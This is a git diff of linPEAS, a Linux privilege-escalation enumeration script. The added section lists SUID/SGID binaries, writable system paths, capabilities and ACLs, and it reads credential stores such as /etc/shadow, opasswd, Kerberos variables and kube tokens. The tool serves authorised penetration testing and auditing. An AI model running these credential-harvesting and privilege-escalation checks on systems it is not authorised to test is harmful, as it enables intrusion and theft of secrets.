if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
|
||||
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
|
||||
fi
|
||||
|
||||
(env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
|
||||
|
||||
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
|
||||
if [ -r "$f" ]; then
|
||||
if echo "$f" | grep -q .k5login; then
|
||||
@@ -380,8 +337,6 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PST
|
||||
|
||||
fi
|
||||
|
||||
peass{FreeIPA}
|
||||
|
||||
peass{Knockd}
|
||||
|
||||
peass{Kibana}
|
||||
@@ -423,9 +378,9 @@ if [ "$adhashes" ] || [ "$DEBUG" ]; then
|
||||
fi
|
||||
|
||||
#-- SI) Screen sessions
|
||||
if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching screen sessions"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions"
|
||||
screensess=$(screen -ls 2>/dev/null)
|
||||
screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
|
||||
|
||||
@@ -442,9 +397,9 @@ fi
|
||||
tmuxdefsess=$(tmux ls 2>/dev/null)
|
||||
tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
|
||||
tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
|
||||
if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching tmux sessions"$N
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions"
|
||||
tmux -V
|
||||
printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
|
||||
|
||||
@@ -480,12 +435,6 @@ peass{Mosquitto}
|
||||
|
||||
peass{Neo4j}
|
||||
|
||||
AWSVAULT="$(command -v aws-vault 2>/dev/null)"
|
||||
if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Check aws-vault"
|
||||
aws-vault list
|
||||
fi
|
||||
|
||||
peass{Cloud Credentials}
|
||||
|
||||
peass{Cloud Init}
|
||||
@@ -511,7 +460,7 @@ SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
|
||||
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching uncommon passwd files (splunk)"
|
||||
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
|
||||
printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
|
||||
printf "%s\n" "$PSTORAGE_SPLUNK" | sort | uniq | while read f; do
|
||||
if [ -f "$f" ] && ! [ -x "$f" ]; then
|
||||
echo "passwd file: $f" | sed "s,$f,${SED_RED},"
|
||||
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
|
||||
@@ -574,46 +523,50 @@ peass{Cache Vi}
|
||||
peass{Wget}
|
||||
|
||||
##-- SI) containerd installed
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
containerd=$(command -v ctr)
|
||||
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
||||
containerd=$(command -v ctr)
|
||||
if [ "$containerd" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if containerd(ctr) is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation"
|
||||
if [ "$containerd" ]; then
|
||||
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
ctr image list 2>&1
|
||||
ctr image list
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- SI) runc installed
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
runc=$(command -v runc)
|
||||
if [ "$runc" ] || [ "$DEBUG" ]; then
|
||||
runc=$(command -v runc)
|
||||
if [ "$runc" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Checking if runc is available"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation"
|
||||
if [ "$runc" ]; then
|
||||
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
#-- SI) Docker
|
||||
if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching docker files (limit 70)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket"
|
||||
printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
|
||||
ls -l "$f" 2>/dev/null
|
||||
if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
|
||||
echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
echo "Docker socket file ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
peass{Kubernetes}
|
||||
if [ -d "$HOME/.kube" ] || [ -d "/etc/kubernetes" ] || [ -d "/var/lib/localkube" ] || [ "`(env | set) | grep -Ei 'kubernetes|kube' | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE"`" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Kubernetes information" | sed -${E} "s,config,${SED_RED},"
|
||||
ls -l "$HOME/.kube" 2>/dev/null
|
||||
grep -ERH "client-secret:|id-token:|refresh-token:" "$HOME/.kube" 2>/dev/null | sed -${E} "s,client-secret:.*|id-token:.*|refresh-token:.*,${SED_RED},"
|
||||
(env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED},"
|
||||
ls -Rl /etc/kubernetes /var/lib/localkube 2>/dev/null
|
||||
fi
|
||||
|
||||
peass{Kubelet}
|
||||
|
||||
peass{Firefox}
|
||||
|
||||
@@ -669,20 +622,6 @@ peass{EXTRA_SECTIONS}
|
||||
|
||||
peass{Interesting logs}
|
||||
|
||||
peass{Windows}
|
||||
peass{Windows Files}
|
||||
|
||||
peass{Other Interesting}
|
||||
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
print_2title "Checking leaks in git repositories"
|
||||
printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do
|
||||
if echo "$f" | grep -Eq ".git$"; then
|
||||
git_dirname=$(dirname "$f")
|
||||
if [ "$MACPEAS" ]; then
|
||||
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
|
||||
else
|
||||
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
peass{Other Interesting Files}
|
||||
632
linPEAS/builder/linpeas_parts/7_interesting_files.sh
Normal file
632
linPEAS/builder/linpeas_parts/7_interesting_files.sh
Normal file
@@ -0,0 +1,632 @@
|
||||
###########################################
|
||||
#----------) Interesting files (----------#
|
||||
###########################################
|
||||
|
||||
check_critial_root_path(){
|
||||
folder_path="$1"
|
||||
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
##-- IF) SUID
|
||||
print_2title "SUID - Check easy privesc, exploits and write perms"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
|
||||
if ! [ "$STRINGS" ]; then
|
||||
echo_not_found "strings"
|
||||
fi
|
||||
if ! [ "$STRACE" ]; then
|
||||
echo_not_found "strace"
|
||||
fi
|
||||
suids_files=$(find / -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $suids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total"; then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SUID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
|
||||
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
|
||||
printf $ITALIC
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
|
||||
export LD_LIBRARY_PATH=""
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf $NC
|
||||
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
|
||||
##-- IF) SGID
|
||||
print_2title "SGID"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
|
||||
sgids_files=$(find / -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $sgids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total";then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" | sort | uniq | while read sline; do
|
||||
sline_first="$(echo $sline | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
|
||||
printf "$ITALIC"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf "$NC"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
##-- IF) Misconfigured ld.so
|
||||
print_2title "Checking misconfigurations of ld.so"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so"
|
||||
printf $ITALIC"/etc/ld.so.conf\n"$NC;
|
||||
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
||||
if echo "$l" | grep -q include; then
|
||||
ini_path=$(echo "$l" | cut -d " " -f 2)
|
||||
fpath=$(dirname "$ini_path")
|
||||
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
for f in $fpath/*; do
|
||||
printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) Capabilities
|
||||
print_2title "Capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
|
||||
echo "Current capabilities:"
|
||||
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
|
||||
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
||||
echo ""
|
||||
echo "Shell capabilities:"
|
||||
(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh"
|
||||
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
|
||||
echo ""
|
||||
echo "Files with capabilities (limited to 50):"
|
||||
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
|
||||
capsVB_vuln=""
|
||||
|
||||
for capVB in $capsVB; do
|
||||
capname="$(echo $capVB | cut -d ':' -f 1)"
|
||||
capbins="$(echo $capVB | cut -d ':' -f 2)"
|
||||
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
|
||||
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
capsVB_vuln="1"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! [ "$capsVB_vuln" ]; then
|
||||
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
|
||||
fi
|
||||
|
||||
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
|
||||
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) Users with capabilities
|
||||
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Users with capabilities"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities"
|
||||
if [ -f "/etc/security/capability.conf" ]; then
|
||||
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
else echo_not_found "/etc/security/capability.conf"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Files with ACLs
|
||||
print_2title "Files with ACLs (limited to 50)"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls"
|
||||
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
|
||||
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
||||
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
##-- IF) Files with ResourceFork
|
||||
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
|
||||
# print_2title "Files with ResourceFork"
|
||||
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
|
||||
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
|
||||
#fi
|
||||
#echo ""
|
||||
|
||||
##-- IF) .sh files in PATH
|
||||
print_2title ".sh files in path"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
|
||||
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
|
||||
fi
|
||||
done
|
||||
done
|
||||
echo ""
|
||||
|
||||
|
||||
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
|
||||
if [ "$broken_links" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Broken links in path"
|
||||
echo $PATH | tr ":" "\n" | while read d; do
|
||||
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Unsigned Applications"
|
||||
macosNotSigned /System/Applications
|
||||
fi
|
||||
|
||||
##-- IF) Unexpected folders in /
|
||||
print_2title "Unexpected in root"
|
||||
if [ "$MACPEAS" ]; then
|
||||
(find / -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
else
|
||||
(find / -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
|
||||
fi
|
||||
echo ""
|
||||
|
||||
##-- IF) Files (scripts) in /etc/profile.d/
|
||||
print_2title "Files (scripts) in /etc/profile.d/"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#profiles-files"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
|
||||
check_critial_root_path "/etc/profile"
|
||||
check_critial_root_path "/etc/profile.d/"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
##-- IF) Files (scripts) in /etc/init.d/
|
||||
print_2title "Permissions in init, init.d, systemd, and rc.d"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#init-init-d-systemd-and-rc-d"
|
||||
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
|
||||
check_critial_root_path "/etc/init/"
|
||||
check_critial_root_path "/etc/init.d/"
|
||||
check_critial_root_path "/etc/rc.d/init.d"
|
||||
check_critial_root_path "/usr/local/etc/rc.d"
|
||||
check_critial_root_path "/etc/rc.d"
|
||||
check_critial_root_path "/etc/systemd/"
|
||||
check_critial_root_path "/lib/systemd/"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
##-- IF) Hashes in passwd file
|
||||
print_list "Hashes inside passwd file? ........... "
|
||||
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Writable in passwd file
|
||||
print_list "Writable passwd file? ................ "
|
||||
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Credentials in fstab
|
||||
print_list "Credentials in fstab/mtab? ........... "
|
||||
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) Read shadow files
|
||||
print_list "Can I read shadow files? ............. "
|
||||
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
print_list "Can I read shadow plists? ............ "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
print_list "Can I write shadow plists? ........... "
|
||||
possible_check=""
|
||||
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
|
||||
|
||||
##-- IF) Read opasswd file
|
||||
print_list "Can I read opasswd file? ............. "
|
||||
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
##-- IF) network-scripts
|
||||
print_list "Can I write in network-scripts? ...... "
|
||||
